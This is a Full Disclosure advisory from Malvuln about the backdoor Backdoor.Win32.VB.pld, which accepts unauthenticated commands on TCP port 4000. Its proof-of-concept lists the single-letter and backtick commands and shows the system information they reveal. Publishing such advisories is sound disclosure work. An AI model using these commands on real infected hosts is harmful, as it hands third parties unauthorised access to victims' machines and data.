full-disclosure - [FD] Backdoor.Win32.VB.pld / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WQjrhKgn9sSZHXev2ydhSLNMUqXcR=4r_cQSi-62PmGag@mail.gmail.com>
Date: Sun, 13 Jun 2021 20:21:58 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.VB.pld / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6ff35087d789f7aca6c0e3396984894e_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.VB.pld
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 4000. Third-party attackers
who can reach infected systems can connect to port 4000 and run commands
made available by the backdoor to retrieve information etc. Commands
accepted include backtick operator "`" and single character letters like
C,E,O,Q,r etc.
Type: PE32
MD5: 6ff35087d789f7aca6c0e3396984894e
Vuln ID: MVID-2021-0248
Disclosure: 06/13/2021

Exploit/PoC:
C - (Opens chat terminal)

---<< Hnadle-X Pro V1.0 Text Chat Window! >>---

D  + (Send a message)

E - (Exit chat terminal)

(Get system info with single backtick "`" character)

`Number Of Processors : 1
Processor Type : 586
Processor Level : 6
Processor Version : 24067
Processor Speed : 2712 MHz
Total Physical Memory : 2 GB
Free Physical Momory : 1015.15 MB
Total Momory PageFile : -1476931584 B
Available Memory PageFile : 1.28 GB
Total Virual Memory : 2 GB
Available Virual Memory : 1.87 GB
Country Name : United States
Computer Lnaguge : English
Host Name : DESKTOP-2B4IPHO
Windows Directory : C:\WINDOWS\
System Directory : C:\WINDOWS\system32\
Operationg System : Windows_32

O - Brings up Handle-X V1.0 Whiteboard drawing dialog.
Q - Closes the whiteboard

r - (Sound card initialize)
rSound Card Initialized OKw

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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